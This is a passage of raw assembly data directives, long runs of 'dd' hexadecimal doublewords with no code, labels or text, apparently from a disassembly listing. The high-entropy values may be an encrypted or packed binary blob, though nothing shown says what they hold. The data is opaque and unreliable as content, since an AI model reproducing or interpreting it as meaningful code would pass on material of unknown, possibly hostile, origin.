2CE500FEh, 0E681473Eh dd 614867EFh, 0BDF60420h, 6FD0C807h, 5A1D79FBh, 0A157A03Ah dd 54D67BB2h, 56BF6A94h, 0BC8C897Ch, 0E96D62D6h, 0D27DF060h dd 0B34BFE96h, 579C115Dh, 2D527020h, 0A6E1CE65h, 890D8156h dd 8606E9CFh, 0CAB9287Fh, 133BC041h, 1860B226h, 0B2187FF1h dd 0C2800395h, 51EA28B5h, 0DDF637A0h, 0E9CDFE1Eh, 25E3A057h dd 5F3E4548h, 0F8113A12h, 7DF4D05Ch, 0B8402DF8h, 335177ADh dd 0D77DE762h, 8FDACFF1h, 0E70EC5A1h, 0ED601F7Eh, 4CF1715Eh dd 48062812h, 2443B545h, 5672C70Fh, 3E09322Ch, 0C71520Eh dd 7FE1321Ch, 5910C730h, 99013045h, 31D2BCFDh, 9B7B30E8h dd 0A47733B7h, 0B4D372A8h dd 0C632E974h, 62092AD3h, 3AADC030h, 0A47A2610h, 7EAF0736h dd 8729754Eh, 0F48654CEh, 4508E166h, 0A931595Eh, 5EA26BAFh dd 5805A352h, 300C76C2h, 8B0473A1h, 0C593E97Fh, 0D2B740FCh dd 0BD46AA07h, 1A8CB480h, 0EF205995h, 8AD6B6E4h, 3AF65105h dd 90F043C1h, 0F78DF23Ch, 2E16ED36h, 0CA810912h, 0DA76DC25h dd 0B9E2125Ah, 1F68F0A7h, 0E6FA438h, 104E4BBDh, 170A9974h dd 0D7010Bh, 7621CEEBh, 0CB68290Fh, 590F084Ch, 0F77E89E9h dd 0C4D0A030h, 45015299h, 4F1CCE0Eh, 7B3C34F1h, 0A4DA2D25h dd 92DD9DA1h, 5B245C14h, 1822BD6h, 18364498h, 65D5E956h dd 0B1CF6F4Dh, 0C219345Bh, 0E455A857h, 0B408F0E8h, 0FB9016Bh dd 0E9257D39h, 7FDF6CC7h, 617B9F29h, 0BA54510Eh, 0E32C510Ah dd 3F2787E9h, 47A9A58Bh, 0BC4477CDh, 7E5D29BBh, 0FA6DBE29h dd 242B8C10h, 510C8721h, 4B526701h, 90AE37Bh, 0D0F55D54h dd 4A5005BBh, 0BC2955F4h, 440C2707h, 0DC2B797h, 0BFFE457Fh dd 478F167Ch, 0C4E56540h, 80A26427h, 3B39A385h, 2ABD4604h dd 26C2D68Ch, 3D0557AFh, 0A43CE85Eh, 0FC53D404h, 0E07AA12h dd 699F5701h, 355820DBh, 48B02A87h, 45131D0Eh, 0A29B90FDh dd 1F600272h, 1B40870Ch, 58E7F848h, 342E4085h, 0B763F73h dd 0C7290480h, 0CAB1B802h, 4EB4105h, 13C932FCh, 2678B0B8h dd 0C52BE50Eh, 0A288E853h, 5E0689EBh, 105D5A1Fh, 9D0B6974h dd 7769B2D1h, 0E912B51Ch, 8220B93Bh, 60BC3874h, 5548D075h dd 0F7EC3680h, 0DC6DC50Bh, 9C65E0Ah, 0B6D32D3Fh, 4F03E0A7h dd 0A94CD37Ah, 8580A401h, 0A88A68E9h, 7D46F7A8h, 29EC1285h dd 525242F8h, 0FD56D8E9h, 9722C0Eh, 859504D0h, 16C78000h dd 0EFEAF728h, 12F542EBh, 294FB177h, 0DD018A21h, 0A73ED2Bh dd 3AFB6809h, 4EBFD796h, 73504955h, 78DA94Bh, 35D3C63h dd 0A9B8C0D4h, 0DE06809h, 0B7A3BE57h, 59AF8F65h, 98496F9Dh dd 873E115Fh, 88522B87h, 3204EBFAh, 7BA95007h, 31E9D43Ah dd 4D10F71Ah, 3E58F94Bh, 6764BE02h, 0FA804612h, 0B9ED98A0h dd 0A9C2E910h, 0DC14AE48h, 8ADE641Ah, 85387488h, 40AF66E9h dd 6FF2C7D8h, 0DEA002F1h, 6095C65Fh, 0BF975CB6h, 307C5846h dd 0C95CE6F1h, 0A6F2077Ah, 487E25E8h, 0CD135D52h, 15ADC404h dd 0AEC211C2h, 4DB3078Dh, 0CFD1E264h, 0F3C8310Bh, 12592581h dd 52FEE62h, 1EEFC355h, 0D4B90C00h, 4148CA27h, 5FE10081h dd 0E939D02Ch, 62C4880Ch, 0BCADC329h, 7FD2C84h, 2F75D188h dd 623BDEB1h, 1577584Dh, 382DBC00h, 6E4209h, 22E97CF1h dd 586394F5h, 0AEA51E9Dh, 4BF47927h, 82F5C2B2h, 1155D91h dd 0FC92C180h, 481D2C23h, 13BAC828h, 0D8F07BE9h, 46250BBEh dd 51E44971h, 37B29A22h, 0B2EF5EF0h, 91D2CDD3h, 66F8139Eh dd 8622B5D3h, 9FB17834h, 0C753F68Bh, 0E05AE90Bh, 0A9D03124h dd 0D97EB938h, 0F28E000Fh, 66697725h, 43AEFC0Ch, 2D26D345h dd 7825FF2Bh, 0DD110B18h, 6C702330h, 3CDEA0B5h, 98641A33h dd 0CF59951Ah, 5FFAE962h, 57C77AE2h, 0CC6E0728h, 8F57C11Fh dd 6E36F1h, 9F6F0551h, 12FA91Eh, 30567C3h, 70EF4B92h, 3940EDE0h dd 1D7BC620h, 27291250h, 5C782AFCh, 898C96D2h, 8D5C778Bh dd 52B82B62h, 287C0D30h, 0F8F53A19h, 59B52F90h, 0C4AA6F8Ch dd 0B4EA0964h, 65EA8FD5h, 39ABEC1Fh, 3FB92970h, 0F9A84E57h dd 0F876D9C9h, 0E970402Dh, 0DC1D4B8Fh, 3E09689Ch, 0D77D0670h dd 97609632h, 61827F4Bh, 0E0342F1Dh, 4DEA1C87h, 802FFD31h dd 3938E508h, 0A66825E2h, 0CCB76E6Ch, 0B7FE6C30h, 7625962h dd 7C64B833h, 0A31A60E3h, 82A0962Dh, 7091F0Bh, 8F22971h dd 0E525082Fh, 0C9D3983Fh, 376246E9h, 7D7B165Dh, 0CFA0BE16h dd 2F047DA2h, 25E94F35h, 685F3BD0h, 461A473h, 7C10A7B9h dd 5B5F8001h, 0FE0A83EFh, 5B1EA068h, 0DA257C43h, 5E184052h dd 60CD4801h, 95590B40h, 98F12122h, 5C899FF4h, 17CDE439h dd 8B081E68h, 0D129111Dh, 984F5358h, 0EC86C3F5h, 4BD99DACh dd 35E7844Fh, 4BABDBBFh, 0BE13868Ah, 0FFF434C9h, 27D10744h dd 0BF2D74AFh, 25C2528h, 3FB96853h, 57932964h, 2C464DD9h dd 5985922Bh, 0AD970CB2h, 546DDD45h, 0C8E9D0E8h, 0C5BD2095h dd 5AEC4674h, 4006B978h, 0EC15808h, 111E6944h, 8CF30C9Eh dd 66364991h, 29360618h, 257CB00Ch, 1603E10h, 7090C90Bh dd 96130C20h, 0EB1C4336h, 43C37701h, 89F5F814h, 0D25547Ch dd 0BDDE34E2h, 16BFB368h, 0C6A9C80Fh, 9282F477h, 40BFFA3Ch dd 0E6048118h, 47E1522Bh, 28FC09EBh, 0D4BDE720h, 5C601953h dd 0F56E3FAAh, 74E91323h, 8F79A9F0h, 64BAD6A2h, 0EFFC11Fh dd 19EB4DD7h, 0B75320DDh, 23DB1102h, 0E303E9C1h, 0E1DE03A7h dd 6D1D397Ch, 5AE2F1B0h, 0C175272Dh, 6A03C3h, 7800511h dd 3500534Fh, 17205982h, 2C44A02Dh, 42AA98BCh, 99D95EF3h dd 0D42A2EACh, 6444599Fh, 1730E8ECh, 4EC1478Fh, 0EA0486A1h dd 65A47327h, 5A2716B8h, 8B922C4Ch, 301B602Ah, 5AAC874Ah dd 56FCD3DFh, 551805D9h, 946F8251h, 0A8045900h, 7CB5F452h dd 983F256Bh, 9D9F70D1h, 6AAD5C20h, 0A5969924h, 4C9D1E1Eh dd 23832D0Eh, 8AD996BBh, 470D751Fh, 0C550090Ah, 0E7F15895h dd 98DE096Ah, 31B5E2A3h, 2B23EDF1h, 227F8FE1h, 54C189F8h dd 28707A5Eh, 96264A68h, 2CB3903Eh, 8D12CA5Dh, 0DA1042AFh dd 870585Bh, 9D63EFF8h, 0C1926818h, 237F08BBh, 89AD808Ch dd 1A3AD89Dh, 13C51240h, 0EEAF65EAh, 0E45C4719h, 4BA2347Ah dd 2A05BBA8h, 0B3DFD5EEh, 3B680D86h, 0A2C6A72Fh, 5D78B288h dd 0B5CA0D02h, 45198175h, 6F3CDA28h, 27DEE110h, 17A7F121h dd 0A8A352FBh, 722E81BDh, 8403F75h, 137F510Fh, 0F354292Fh dd 0A10C4159h, 11B51C10h, 5AB24AAAh, 0AFF40836h, 2B62913h dd 71512D0Eh, 56535741h, 0B5B64152h, 4406B2Eh, 0D426D55Bh dd 73C27D29h, 2FCC951Dh, 835DEE07h, 6CF402C6h, 0B747FF93h dd 77BC27D5h, 0FB73D2DCh, 8883E675h, 89190944h, 40405DEFh dd 45595568h, 4D098030h, 27C10764h, 9DF908EAh, 0C955CA73h dd 230217Dh, 91591ABh, 34DD40E4h, 0BB530072h, 18CA3E72h dd 0EA5AFDE9h, 73CF0C67h, 0FFC24E62h, 0DC96596h, 81EF725Ch dd 287BE4F7h, 104F69C5h, 17F484E8h, 0C4EEA9B2h, 77A0F7E9h dd 68C22680h, 0AFC52C96h, 5C70E914h, 0EAB0A297h, 55185FA5h dd 0B4B7194Dh, 5E344761h, 0D12D7302h, 34B56171h, 907943E4h dd 12C18ADh, 5FE91841h, 0BBCA3F3Eh, 5D05129h, 0B0B30408h dd 4A9A9117h, 0F3903472h, 7D094098h, 3261DD5Dh, 7F80D54Ch dd 15827312h, 2AD00176h, 420C6008h, 14564D7Fh, 991BC068h dd 5F34E9C5h, 5BFC49D1h, 9D8B9CD5h, 9CB8BEB0h, 0D2623304h dd 5BE966E9h, 0F85EF212h, 397509E2h, 17515h, 355AE94Bh dd 27596C47h, 13B64407h, 0FA1F7258h, 152BA901h, 190318F6h dd 8F3EB8E9h, 9DEC5D24h, 4E3A7827h, 0CA19B289h, 6102AE51h dd 0D063E460h, 0B1AA0996h, 5C8EBE0Ah, 0D1E3533Dh, 213A65CEh dd 0D2B42E07h, 99381D01h, 4492BC63h, 0CBF1813h, 0ED30EEDDh dd 19AA9284h, 10F1A66h, 8095EFDh, 8969E354h, 0D0D2DE24h dd 194B4EE9h, 8629E589h, 6019E3D2h, 0B1D8418h, 0DD29342Ch dd 8081382h, 591DACA2h, 5DAFF889h, 12276014h, 0E5006885h dd 9506A0ABh dd 305782D5h, 8071194Eh, 80040AB3h, 0E3C016CBh, 984D52C1h dd 6BCCFE01h, 0B8ECE0E5h, 2D669D0Fh, 26A011F4h, 5F9E70F3h dd 0A6A88544h, 5E17E834h, 858B967Dh, 2F65F14Ch, 0A661698Dh dd 0E9E0C868h, 61822D76h, 0C87429D1h, 0AC14809h, 43D987B0h dd 0CBE43173h, 3EB208D4h, 935F167Bh, 1645704h, 5610B7B3h dd 48958E6h, 165D600Bh, 291EC7ECh, 0BAEECEFEh, 877203A0h dd 0CCF35EF7h, 5F7135C0h, 0BA53215Ah, 6BEDFB0Bh, 40E6B898h dd 0C1E607Ch, 739513AAh, 9C7562C7h, 0EA88834h, 0BE6911h dd 0B8DF49EEh, 0B1F231DDh, 94540849h, 38C95A2Dh, 0D01DDF04h dd 0F3692D2Ch, 0AFD754B4h, 3C5B76DEh, 0BA045214h, 0BF0263Ah dd 4094A780h, 0E91615FCh, 0D948DF17h, 0C173C2E4h, 93E7D20Eh dd 0FE0085D3h, 0A422C905h, 58C1FF44h, 0E91A28EEh, 25EC6D24h dd 10696667h, 0C96FC132h, 0E800C33Dh, 3C462A56h, 61C7813Eh dd 1E60E903h, 8101356Fh, 349386B6h, 3D412576h, 3595CDEBh dd 6A074EE8h, 601B0364h, 5C31595Bh, 0A59C11BAh, 1420DF68h dd 0D42CD084h, 89885209h, 0B576A82Bh, 0A67E062Ch, 6947D24Bh dd 0B2F36F6h, 0F7E50121h, 953052D7h, 3129819Fh, 42826E76h dd 251C5E42h, 634C58F1h, 0A9BA4DE9h, 79D5BB02h, 0AD767E2Eh dd 3BF9B588h, 4DF17879h, 1F5B1D72h, 0B18BA51Eh, 37A2AFCh dd 761D9ED4h, 71300719h, 0C25A743Ah, 0CC5F1CCCh, 0B3E9C0Ah dd 0C77363F7h, 0C9587949h, 14196E41h, 9984C1BCh, 762D0B0Ah dd 2792A0CBh, 62A28245h, 24D5B9FAh, 7D01C0Ch, 0A8229E68h dd 8BD0F6EEh, 0F9361FD8h, 4D5B642Ch, 0DBF70700h, 0BDA9DCE9h dd 1447A266h, 0B909F84Bh, 0CB119520h, 0D3E9ED1Fh, 6822605Bh dd 76661427h, 48CCC093h, 0BE051CF2h, 0DC464F35h, 0EE6E85AEh dd 0FB633F31h, 19176800h, 4FBDAAA6h, 64792DF7h, 0CEBD5193h dd 0F1DEE9B0h, 0BD80E4B5h, 0A58978E5h, 7A723BBh, 450A306Eh dd 56194FE2h, 0F22D4302h, 0C13C9808h, 74005CFh, 9DD1685Dh dd 0BA75A989h, 73095F33h, 553F368h, 0D02816C1h, 2CC8665Ah dd 74F0E061h, 0F692EC04h, 6BD2F68h, 0E92111B6h, 524AC902h dd 7F8405C2h, 895DB579h, 516D9C7Fh, 685500B6h, 2F917E3Dh dd 0C1315D26h, 4B08EB19h, 0A3D8F02Fh, 0F3381B41h, 682F0F20h dd 4BEF725Dh, 25A180B2h, 76012264h, 3A570549h, 0E1D4096Eh dd 0FED50518h, 0BF10EFE9h, 0B4042C53h, 904AD1Fh, 80C0AEDAh dd 7EF6F7CDh, 0EFF02CDEh, 24D9BF7h, 0E3D0F5CAh, 0EBDDF1B5h dd 251758FCh, 41BBAC84h, 0F7FBC6F2h, 0C36870CCh, 0E9842394h dd 1BE8FAD0h, 510E85D0h, 0CB4BE188h, 0E92C8B06h, 923A1025h dd 6558C034h, 4663F41h, 0E44E6B17h, 0EA88CE05h, 8E480634h dd 0A4FA294Ah, 0C15F0880h, 0D102E209h, 50D52EAh, 0C3A32E2Bh dd 164CE229h, 2618F0Bh, 0C82BAF0Fh, 6C40BDD7h, 74F19758h dd 0D8746302h, 773B6011h, 613C58F1h, 8ECFC824h, 0F700DBB7h dd 7E7C05Ah, 0F000F895h, 0B65225B8h, 0D7C01409h, 416E828h dd 0AECC599Eh, 0D05B00B2h, 98CA80E2h, 0E913DAF6h, 0B2537E39h dd 0C73FCBA6h, 0FA06F412h, 0CA4EF3Dh, 0E956582Fh, 2B316525h dd 0AE205503h, 188D2D5Bh, 0B657D424h, 5D7607A0h, 4D23E709h dd 8635E60h, 0AB2C9841h, 452D7EEBh, 819C5721h, 9BA526Fh dd 2D21340h, 12A1766h, 84710D6h, 37155A4Eh, 0E8AD70E5h dd 4B436881h, 0F48DD41Bh, 15177F72h, 54087B28h, 54003A4h dd 42BA2A20h, 98464D7h, 3628746Fh, 0B90436F8h, 0D7098701h dd 476082ABh, 0C7B5A5C0h, 8CE8BE81h, 29341315h, 81DF2DD6h dd 5DC92FA6h, 0E63921E7h, 404EC95Fh, 4A728513h, 3A205D7Bh dd 0FA013B1Ch, 88AB3597h, 59972796h, 32CF88C9h, 80D4F607h dd 0E728BBA0h, 0FD300758h, 0BEC5FE5Bh, 2B07D349h, 0AEEE621Eh dd 664400DFh, 3B8FB753h, 5B3FFE08h, 693F619h, 5A7B3016h dd 2C4CE8E0h, 0E4BA1058h, 0F57E052Dh, 69FA5593h, 0A4FF3CC1h dd 1A3FE0C1h, 0C72FE006h, 26B9D1F7h, 0A7700B5Bh, 712BB0E8h dd 72975A73h, 400882C0h, 865434C0h, 27F24EBDh, 0F212ACC3h dd 4C72B0DFh, 896681EFh, 0DD69E864h, 0ACC01430h, 0EC6B669Bh dd 0B7A72CD1h, 0D01444F7h, 43DB6899h, 2F616695h, 8BDBC217h dd 148D32B1h, 9D03F26Fh, 6A972062h, 919D09Fh, 4C6F7818h dd 0D83FAE5Eh, 761E6B74h, 1F6D050Dh, 0F9AF09AAh, 62772BC2h dd 95C1503Ch, 0F5185DC7h, 4A80E991h, 0C999AC2Dh, 0D2310252h dd 2EB075CFh, 8916B951h, 0BA006A59h, 0C12901EFh, 0EB0CC072h dd 0E93DD14Eh, 756DDF4Dh, 56C33669h, 0A0976E35h, 0D0590104h dd 2DEAA4F3h, 918D6B9Fh, 932DFC6h, 3CFE146Ch, 90361DD7h dd 7F45BD0Ch, 2FA2C3A0h, 2E09272Fh, 65B77150h, 0FE693477h dd 0F882B7C9h, 218015FCh, 0AEB76075h, 0D6F3CAAFh, 0D3CE0817h dd 57DF6BA2h, 8FB05092h, 3CF50780h, 0B259EA28h, 37105A5h dd 12725388h, 32280D30h, 440DAF06h, 83E8B550h, 37AC7EB0h dd 0BA28517Dh, 80BF7A02h, 5C583D8Eh, 329C9D7Eh, 305A0F81h dd 7C4EB66Fh, 0CC2F56A7h, 0A64B4BC3h, 54D8AEADh, 82BD1396h dd 0FFB4D32Fh, 0CC90AC18h, 50619195h, 0BA145B21h, 39CC87FFh dd 7205F58h, 1DB22727h, 869A1440h, 0FEA8D281h, 69042793h dd 5EA873FBh, 3324DF4Bh, 1DBCBAFh, 76C2BD55h, 93600503h dd 4A3573C5h, 74D0A808h, 82892549h, 0D610C768h, 0F4166245h dd 8949E3F4h, 0E99763D3h, 22468BBh, 5B67F8F5h, 6F1B28F4h dd 9033585Bh, 0F4CC842Ch, 291E6283h, 3BAF0878h, 44509405h dd 17B90BBFh, 407E51D8h, 89395EF9h, 815F89F2h, 0DD6007CAh dd 6DD04AA5h, 2D7DC7EAh, 17F82D49h, 88E8555Bh, 3369B34Fh dd 204BC758h, 0B00FC00Ch, 0C0C330ABh, 0E380D3F6h, 0AFE1E7EEh dd 2CF3047Bh, 21BCB529h, 0D4C121h, 2F5CB768h, 0C31A0F25h dd 554EBB03h, 663552C8h, 5F96391Fh, 101E88Fh, 47140277h dd 4105C840h, 46903E40h, 97D6E505h, 0C067C48Dh, 5396F7CFh dd 6825AF78h, 0A6EBF976h, 0BCE01292h, 22A5D6F8h, 51823684h dd 8699F0AAh, 71EDB009h, 0B3BC7701h, 0D9255B50h, 3D8C1A4Eh dd 0E2264F13h, 0CE12DEBEh, 4DD7808h, 0E1E5305Ah, 0F9D97EFFh dd 9759E8F0h, 8B6E2879h, 4A7D8968h, 0B7CE4111h, 0FF7E160h dd 5BFA88AFh, 0B8D3133Dh, 0E95A04CCh, 0CD8DA798h, 0C4A7B22Fh dd 9F81C138h, 9B8F6765h, 28CDEF80h, 0DEE2D950h, 2535FC41h dd 0F1F22E0Bh, 0D7604A1Ch, 3546F008h, 5D8D7EE5h, 0FA54ACE5h dd 3BB6EF01h, 526170FAh, 4458857Eh, 12A35AFh, 0D1885153h dd 0B421CFC9h, 0F6B5102Ch, 0ED5A10D6h, 813E04Eh, 6894F0F2h dd 5CC6F03Eh, 9D227571h, 565C7C40h, 3514020h, 233A355Bh dd 8E0734C8h, 0EC6F2D02h, 55319952h, 72669702h, 544EFEC6h dd 0EAD343A2h, 2E8096Ch, 68C8310Ch, 8C561052h, 34825645h dd 0C67309A6h, 5362C028h, 0C71CF20h, 0BF48460h, 380C2360h dd 0BD12DA31h, 1EB0F7C5h, 0B588A78h, 36CE94Ah, 18E4B05Eh dd 0F16FB2A4h, 62D660ADh, 219AF9EAh, 6D29758Ah, 719D9657h dd 4923B411h, 0FB024174h, 4207CB0Fh, 7CB0820Dh, 0CF43DD06h dd 0CC08E638h, 0EC845B2Ch, 77BDC0FEh, 0D80FD16Dh, 48E9E889h dd 0EAC10418h, 8EBCB402h, 3FDBE17h, 9CEB1234h, 0C758E925h dd 62AD909Dh, 41506406h, 0B13ACF85h, 65BEF16Bh, 51342A34h dd 94A5B50Ah, 69EE8181h dd 0F8F2B572h, 69D89517h, 58EB84D3h, 49A80C78h, 0E97C5209h dd 0E3372B6Ah, 0CA1BC29Ch, 0EB1C0434h, 0C7058EAh, 3F2E118Dh dd 82C95048h, 6D1D4D2h, 0A320445Eh, 0A35F6165h, 761C4F21h dd 0B3D45059h, 6B6B3B9Ch, 4A3DA663h, 0D3C46759h, 1A2D813Fh dd 0F06B2E58h, 536A3664h, 1F7F4AB4h, 531D4EF6h, 0A6AFC586h dd 0C0FE092Fh, 0EBF6832Ch, 0AFC3832Eh, 0F9CAB32Eh, 0C609EC4Bh dd 4B6936E9h, 9226A250h, 9BB09CC4h, 2929C922h, 22F7BCCAh dd 5CE073BEh, 7B66EF79h, 0C10317B6h, 36F55AA3h, 0D2F6E15Eh dd 6523D12Fh, 8B14C538h, 0DBBC9346h, 8C97BD52h, 0C131AB82h dd 0BF00B4C1h, 353D247Ah, 4FE73B2Bh, 5C34D049h, 0D8074301h dd 0BD070D5Fh, 5EE77240h, 2C6852E1h, 3E34D1CEh, 3D363F79h dd 0CC515F1Dh, 812E8FB9h, 7A2EE118h, 41D7F10Ah, 48BD6044h dd 0CF3021FEh, 56F71259h, 0EC82D64Fh, 22D1103Ah, 0D436865Fh dd 0D2707D01h, 58C2213Bh, 0CB29A02Eh, 71412E00h, 505527BFh dd 8FE9150Fh, 0EA20B4E1h, 7142F2B7h, 0B689495Dh, 3E6868CFh dd 3CF6B688h, 100DE6DAh, 0B84E80ECh, 9F939E7Ah, 0E5209FE1h dd 40EEF0F9h, 44B830Bh, 0E266D131h, 0BDCE8000h, 0FEEE06C7h dd 891E1D6Fh, 0C36E6CCh, 0F3880045h, 0C0EBD05Ah, 0CBFC05E3h dd 6941FD48h, 4EC0058h, 74D02867h, 5AF9E52Ch, 13488C28h dd 59127920h, 2DAED030h, 2A6861B6h, 0BD8944D1h, 0D12C2EB8h dd 8BF10E89h, 92601D7Fh, 0FE2504C9h, 3999BF21h, 3647293Fh dd 0ABBC5B59h, 4817A410h, 1F080238h, 77893516h, 0E7C11D30h dd 0EF07B1B0h, 424DEB7Bh, 409CC660h, 503E5F83h, 994B08F7h dd 4584C367h, 5DEB6F63h, 0A08BD779h, 0E1956402h, 999A918Dh dd 8813F358h, 205562EAh, 0B8A9F666h, 0F77813ADh, 9262EAD6h dd 546ACABCh, 0E7F3E930h, 0EF12BA0Ch, 0B37A9FC3h, 0C4584596h dd 4155160Ch, 0FBA05356h, 0B4C0A104h, 0F432E81Eh, 0F48A4FA6h dd 777EC678h, 0AF274C7Bh, 0D2BE22F5h, 0C6800191h, 8E5430BEh dd 501EF3E0h, 0C4CB64B4h, 99C84C7h, 0EEED1DAAh, 70210E2h dd 20478F5Fh, 0D4403B95h, 0EB11A8BBh, 98AEA67Eh, 3DC80268h dd 9AE90B21h, 94F586CAh, 49AD4A9Ah, 0D60ED7FFh, 6075B492h dd 0B9512BC0h, 134E59AEh, 64CE2901h, 8718FFB5h, 276844E8h dd 657C636Fh, 428F5702h, 54216038h, 12D824E9h, 0ED3CCF44h dd 0B357F942h, 9EA2E176h, 6BD8281h, 6E2ACA77h, 0DFE04417h dd 71A14E59h, 3FDA6817h, 0B33A2699h, 9EFD5B1Ah, 5531A05Bh dd 932A925Dh, 0DAFA26FBh, 6B4D30C3h, 0BDA98E68h, 0DA9871D2h dd 3D8AB05Fh, 0BE38015h, 0C7D05289h, 0C2E9350Dh, 25F8208Ch dd 81A8582Ch, 0F726AC20h, 1C0E4FD7h, 0A0DD263h, 106A9B48h dd 67C4957Bh, 5E51D1BFh, 6510E159h, 428E2EAEh, 0E4FBBD5Bh dd 0C88B313h, 940BB759h, 76728054h, 0F1CC8CDAh, 0FB97EE27h dd 87273FCCh, 0DCB99CC1h, 0F58EB60h, 149E0409h, 86F85F52h dd 48C37F10h, 2DE3D633h, 80C44940h, 0F3956354h, 0B55969C8h dd 3EE1FB25h, 45B26D2Ch, 4E5BF9F7h, 0C714CD88h, 0EBF580C5h dd 0CFB67B03h, 8C16D0E1h, 0EF215E58h, 52C140C7h, 0B9C2B3B4h dd 3C06F97Dh, 0B20A0817h, 884E7852h, 25FEC150h, 8460FC58h dd 0C32BB151h, 77B03D7h, 0C7A186F4h, 71BA20F6h, 0B4B6014Eh dd 7759B118h, 0F681EAB0h, 6715B369h, 805FEE20h, 922F27B4h dd 277B4A58h, 1E97D961h, 15774950h, 0C97F1BD5h, 31011EE6h dd 94A16FD2h, 9766B36Bh, 16DE3E54h, 0E3D1E5A2h, 0FE74CAB7h dd 0E1C50581h, 0A91D4605h, 0E08412Ah, 0D1A012DCh, 0BD0260F2h dd 785C7A93h, 0F730BF50h, 9E5742DDh, 0C6D64AC6h, 584F58DFh dd 963C8DD8h, 5F9A3A0Bh, 80565360h, 856BF100h, 4F01AF22h dd 0E14DACCAh, 652B02C2h, 0A6B4323Ch, 558FDC8h, 2475DAB7h dd 1761D001h, 73F79795h, 0E0CC6C3h, 691C6F09h, 4683415Dh dd 26A39735h, 0F4520E68h, 7ADF2A89h, 42360B50h, 1AD753DEh dd 42685D34h, 0B92764C9h, 21898606h, 974D2782h, 1E2F8D53h dd 95EAEC7Fh, 8C44AEBAh, 7015E03h, 98ED355Bh, 0B8051D1Eh dd 0B587214h, 84FE940h, 0F397E444h, 20F4A59Ah, 5FA1DAB1h dd 9B315475h, 192B43Eh, 0A557FB3Fh, 400EFA61h, 8A97A11Ch dd 66937B7Fh, 7EF06304h, 2825FAE2h, 0BC20A570h, 0E58825D9h dd 0CBD35450h, 97BE3BCh, 7F9DE92Bh, 76BF3CC8h, 0D8FF1171h dd 7AB41768h, 359D046Fh, 0F5C4D4ECh, 0C7CDBBC8h, 0AA28CAE5h dd 352124h, 0ABBE581h, 0DFA30F2Ah, 155D692Eh, 8595D444h dd 0FCD02DEBh, 48926E27h, 0EE902590h, 0DA2B6600h, 0E9F02921h dd 3FE16020h, 5B12B1F7h, 0A0C73A4Eh, 3250AF8Fh, 281DBAA0h dd 9D67D18h, 0DAE95FF8h, 45575AE2h, 60F29C62h, 5E4DB198h dd 0E6012EB3h, 1E85FF69h, 0BC82ABFBh, 0DE17C853h, 29151256h dd 717105Ah, 0D7015B0Fh, 5510E154h, 25583BA6h, 9D335870h dd 500012E5h, 0FB035268h, 8E2ACF09h, 93564E10h, 4A9D8B82h dd 0CF3D49Fh, 0EDCF7677h, 0B3845A97h, 7C82D29h, 8080EF26h dd 29F178F6h, 4A83DB6Fh, 60181FC7h, 5BD36815h, 0A2B884F7h dd 0A535CDAFh, 70387439h, 0F9955FFEh, 78E9E140h, 0C4BD2CF3h dd 8514A0D7h, 22F90716h, 0B0A08759h, 169F318Fh, 98F8E695h dd 1B6450FDh, 3A794120h, 28B54401h, 59D12CE8h, 0C79FF028h dd 86618724h, 0E9124B66h, 614E93F7h, 8D3CDDDh, 2E35D060h dd 2D639C83h, 0BAF00164h, 82D27E82h, 1CC2663Dh, 7FA6EED4h dd 5B042310h, 0FB6C6068h, 34AA6C34h, 1190AF82h, 0A9BBD6E9h dd 1420E3E6h, 40615A4Dh, 7E0F7512h, 0D37D0117h, 21919EE4h dd 0EF880A0Dh, 402DA9Dh, 0BC721A68h, 5D798623h, 0EE170ADh dd 0C1346515h, 0C23F02CFh, 2C429E7Dh, 95B5740h, 2969BA09h dd 80188CAh, 2025913h, 4A5AE956h, 537BFC85h, 6E9486F1h dd 49BC5892h, 946FBAFEh, 0D684EA28h, 0C86781BFh, 0FAD13ECCh dd 0A5681A26h, 8456A2E5h, 0A2A11DE9h, 10E5DFE6h, 9F4CBBCh dd 584BCB02h, 51AB740Fh, 0C22E9772h, 6C1EC8D7h, 0FAD984CBh dd 3A9C003Eh, 0E6817F05h, 0C1274249h, 3B86701Fh, 0E90C0102h dd 245F9C43h, 0A1754695h, 5629C9C4h, 61D2F203h, 6C0546AAh dd 0B3431016h, 4E680AA0h, 584EA34Bh, 0FAA87E50h, 8F975EF3h dd 0BA3D66B0h, 6F0C5017h, 5F189558h, 8B97FAE9h, 1081664h dd 167E4A05h, 2EE8C128h, 4091ABC0h, 51450912h, 57D282E9h dd 410B74B4h, 6B1956B9h, 0AF09E851h, 0AACA94C6h, 0E916F4D4h dd 13F1C184h, 0E54D3504h, 80B3B601h, 512D60C6h, 14270794h dd 9F91B2FFh, 0F24AEA53h, 9DD831A7h, 642B8365h, 810DC535h dd 522BFCEh, 6BB57090h, 6095875h, 3000AE38h, 7E7C15Ch dd 4A26E94Fh, 0EC82EEF0h, 0D4733414h, 0D82905E5h, 480A182Dh dd 7520064Bh, 2BFC1E2Ah, 0EC0CF00Eh, 102CB061h, 6A03314Fh dd 0E869175Dh, 51C07EFh, 7CE93755h, 7826E2E1h, 5D2E64FDh dd 346581BFh, 0A60060D1h, 524FE836h, 805BFF5h, 12A9BF05h dd 6CC5DDAFh, 1E81A493h, 8C6AF6A0h, 0E2266846h, 4AC1D066h dd 0CD42553Ah, 0A1562Dh, 4B3D0605h, 66975F69h, 301AA05Fh dd 16B1D3ADh, 75FA8074h, 40F31520h, 137D68Eh, 1CF01C5Ah dd 2CD391EEh, 4905E9Fh, 3BFC8B4Dh, 0E1322ACh, 0D9F6F5B1h dd 0BA89D149h, 0AA05BFA4h, 8682342Dh, 63C250F7h, 0DCA1CAD5h dd 0E95E96CFh, 0B2D925FBh dd 6B0C0408h, 0DDFE5F97h, 0F747BCDh, 0D817B33Ch, 3C132C5Ah dd 416B7C81h, 1DADC271h, 0AD803E63h, 25891123h, 58E2292Fh dd 3B8A0808h, 68D07A81h, 6BCD01AAh, 0E5DC242Ch, 0CBCE839Dh dd 0FF61F5Fh, 0FC51D0EBh, 3DB29C58h, 0D53E59Eh, 919E15h dd 0B2600FD3h, 789289Dh, 0D6083224h, 0F06025A1h, 71AE9BDCh dd 0B0D719Dh, 0F2F1699Eh, 0C02B062h, 0A41CF2D6h, 5CA70D5Bh dd 4A712D2Bh, 1698DF09h, 24509508h, 0C8370250h, 70AF85A5h dd 0D11725AAh, 550B6B52h, 78299116h, 0F3403F49h, 0EEA3B8D0h dd 126E4B04h, 897283D1h, 27923E72h, 0BF8D169Fh, 8FBAF7B0h dd 0C2EED3B7h, 0D512B850h, 8F8204E2h, 2CF4E194h, 9FC15065h dd 0DC2B17BCh, 9B31689Fh, 8DA76F4Bh, 